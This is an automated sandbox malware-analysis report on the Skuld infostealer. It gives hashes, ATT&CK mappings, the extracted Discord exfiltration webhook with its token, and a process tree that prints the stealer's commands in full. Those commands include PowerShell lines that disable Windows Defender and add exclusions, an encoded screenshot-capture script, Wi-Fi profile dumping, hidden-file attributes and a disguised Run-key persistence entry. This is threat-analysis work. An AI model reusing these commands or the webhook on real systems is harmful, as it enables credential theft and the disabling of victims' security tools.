skuld | 467e6fe502e9521964d793f5bd671ba3c026bcff287ccab7bbb18bbe0277a640

Analysis

max time kernel
150s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
03-08-2024 18:48

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General

Target

skuld.exe
Size

9.5MB
MD5

597a6105e1f2eb7328628c448399be31
SHA1

09e36f5105da162d6ac45f300993c36373f56b48
SHA256

467e6fe502e9521964d793f5bd671ba3c026bcff287ccab7bbb18bbe0277a640
SHA512

7d48157ffc3f732f5391e9dba0df7fbaaa4eca3e2d80fb633274b9f6162819c489131d24a42c4b3e08125556d1905376c50a71fe0f1d96e1220bedd8aa33fdc0
SSDEEP

98304:xLhl+t9w5GRLGL+LhoE+3K4+lkoE/Bz7F/Bz2wIb:7Qt9w5MhoE+64+lkB/BffIb

Score

10^/10

skuld credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

skuld

https://discord.com/api/webhooks/1268813867492835348/L78BtQzfHGBNt8HjWTj549iTV-K1u0vGdqOTjuMGs_FT1-rccb4BszlfGDEajprRGnTq

Signatures

Skuld stealer
An info stealer written in Go lang.
stealer skuld
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1328	powershell.exe
4104	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	skuld.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	skuld.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
18	discord.com
17	discord.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
2	api.ipify.org
3	ip-api.com

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	skuld.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	skuld.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2676	netsh.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1116	wmic.exe
1096	wmic.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	4	Go-http-client/1.1

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	skuld.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	skuld.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	skuld.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
4104	powershell.exe
3604	skuld.exe
3604	skuld.exe
4104	powershell.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
1328	powershell.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
1328	powershell.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe
3604	skuld.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3604	skuld.exe
Token: SeIncreaseQuotaPrivilege	3772	wmic.exe
Token: SeSecurityPrivilege	3772	wmic.exe
Token: SeTakeOwnershipPrivilege	3772	wmic.exe
Token: SeLoadDriverPrivilege	3772	wmic.exe
Token: SeSystemProfilePrivilege	3772	wmic.exe
Token: SeSystemtimePrivilege	3772	wmic.exe
Token: SeProfSingleProcessPrivilege	3772	wmic.exe
Token: SeIncBasePriorityPrivilege	3772	wmic.exe
Token: SeCreatePagefilePrivilege	3772	wmic.exe
Token: SeBackupPrivilege	3772	wmic.exe
Token: SeRestorePrivilege	3772	wmic.exe
Token: SeShutdownPrivilege	3772	wmic.exe
Token: SeDebugPrivilege	3772	wmic.exe
Token: SeSystemEnvironmentPrivilege	3772	wmic.exe
Token: SeRemoteShutdownPrivilege	3772	wmic.exe
Token: SeUndockPrivilege	3772	wmic.exe
Token: SeManageVolumePrivilege	3772	wmic.exe
Token: 33	3772	wmic.exe
Token: 34	3772	wmic.exe
Token: 35	3772	wmic.exe
Token: 36	3772	wmic.exe
Token: SeIncreaseQuotaPrivilege	3772	wmic.exe
Token: SeSecurityPrivilege	3772	wmic.exe
Token: SeTakeOwnershipPrivilege	3772	wmic.exe
Token: SeLoadDriverPrivilege	3772	wmic.exe
Token: SeSystemProfilePrivilege	3772	wmic.exe
Token: SeSystemtimePrivilege	3772	wmic.exe
Token: SeProfSingleProcessPrivilege	3772	wmic.exe
Token: SeIncBasePriorityPrivilege	3772	wmic.exe
Token: SeCreatePagefilePrivilege	3772	wmic.exe
Token: SeBackupPrivilege	3772	wmic.exe
Token: SeRestorePrivilege	3772	wmic.exe
Token: SeShutdownPrivilege	3772	wmic.exe
Token: SeDebugPrivilege	3772	wmic.exe
Token: SeSystemEnvironmentPrivilege	3772	wmic.exe
Token: SeRemoteShutdownPrivilege	3772	wmic.exe
Token: SeUndockPrivilege	3772	wmic.exe
Token: SeManageVolumePrivilege	3772	wmic.exe
Token: 33	3772	wmic.exe
Token: 34	3772	wmic.exe
Token: 35	3772	wmic.exe
Token: 36	3772	wmic.exe
Token: SeIncreaseQuotaPrivilege	1116	wmic.exe
Token: SeSecurityPrivilege	1116	wmic.exe
Token: SeTakeOwnershipPrivilege	1116	wmic.exe
Token: SeLoadDriverPrivilege	1116	wmic.exe
Token: SeSystemProfilePrivilege	1116	wmic.exe
Token: SeSystemtimePrivilege	1116	wmic.exe
Token: SeProfSingleProcessPrivilege	1116	wmic.exe
Token: SeIncBasePriorityPrivilege	1116	wmic.exe
Token: SeCreatePagefilePrivilege	1116	wmic.exe
Token: SeBackupPrivilege	1116	wmic.exe
Token: SeRestorePrivilege	1116	wmic.exe
Token: SeShutdownPrivilege	1116	wmic.exe
Token: SeDebugPrivilege	1116	wmic.exe
Token: SeSystemEnvironmentPrivilege	1116	wmic.exe
Token: SeRemoteShutdownPrivilege	1116	wmic.exe
Token: SeUndockPrivilege	1116	wmic.exe
Token: SeManageVolumePrivilege	1116	wmic.exe
Token: 33	1116	wmic.exe
Token: 34	1116	wmic.exe
Token: 35	1116	wmic.exe
Token: 36	1116	wmic.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 3604 wrote to memory of 3568	3604	skuld.exe	85
PID 3604 wrote to memory of 3568	3604	skuld.exe	85
PID 3604 wrote to memory of 2128	3604	skuld.exe	86
PID 3604 wrote to memory of 2128	3604	skuld.exe	86
PID 3604 wrote to memory of 3772	3604	skuld.exe	89
PID 3604 wrote to memory of 3772	3604	skuld.exe	89
PID 3604 wrote to memory of 1116	3604	skuld.exe	91
PID 3604 wrote to memory of 1116	3604	skuld.exe	91
PID 3604 wrote to memory of 3668	3604	skuld.exe	92
PID 3604 wrote to memory of 3668	3604	skuld.exe	92
PID 3604 wrote to memory of 4104	3604	skuld.exe	93
PID 3604 wrote to memory of 4104	3604	skuld.exe	93
PID 3604 wrote to memory of 1928	3604	skuld.exe	94
PID 3604 wrote to memory of 1928	3604	skuld.exe	94
PID 3604 wrote to memory of 1096	3604	skuld.exe	95
PID 3604 wrote to memory of 1096	3604	skuld.exe	95
PID 3604 wrote to memory of 1328	3604	skuld.exe	96
PID 3604 wrote to memory of 1328	3604	skuld.exe	96
PID 3604 wrote to memory of 4184	3604	skuld.exe	97
PID 3604 wrote to memory of 4184	3604	skuld.exe	97
PID 3604 wrote to memory of 2676	3604	skuld.exe	98
PID 3604 wrote to memory of 2676	3604	skuld.exe	98
PID 3604 wrote to memory of 212	3604	skuld.exe	99
PID 3604 wrote to memory of 212	3604	skuld.exe	99
PID 3604 wrote to memory of 696	3604	skuld.exe	100
PID 3604 wrote to memory of 696	3604	skuld.exe	100
PID 3604 wrote to memory of 4000	3604	skuld.exe	101
PID 3604 wrote to memory of 4000	3604	skuld.exe	101
PID 4000 wrote to memory of 2584	4000	powershell.exe	102
PID 4000 wrote to memory of 2584	4000	powershell.exe	102
PID 2584 wrote to memory of 4132	2584	csc.exe	103
PID 2584 wrote to memory of 4132	2584	csc.exe	103

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3568	attrib.exe
2128	attrib.exe
212	attrib.exe
696	attrib.exe

C:\Users\Admin\AppData\Local\Temp\skuld.exe
"C:\Users\Admin\AppData\Local\Temp\skuld.exe"
1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3604
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
  2⤵
  - Views/modifies file attributes
  PID:3568
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:2128
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3772
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Suspicious use of AdjustPrivilegeToken
  PID:1116
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  PID:3668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4104
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  PID:1928
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1328
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:4184
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:2676
- C:\Windows\system32\attrib.exe
  attrib -r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:212
- C:\Windows\system32\attrib.exe
  attrib +r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4000
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\e1gynkq4\e1gynkq4.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2584
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESED00.tmp" "c:\Users\Admin\AppData\Local\Temp\e1gynkq4\CSC580485227BC549EE8A4FE8A8EC20C26B.TMP"
      4⤵
      PID:4132

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
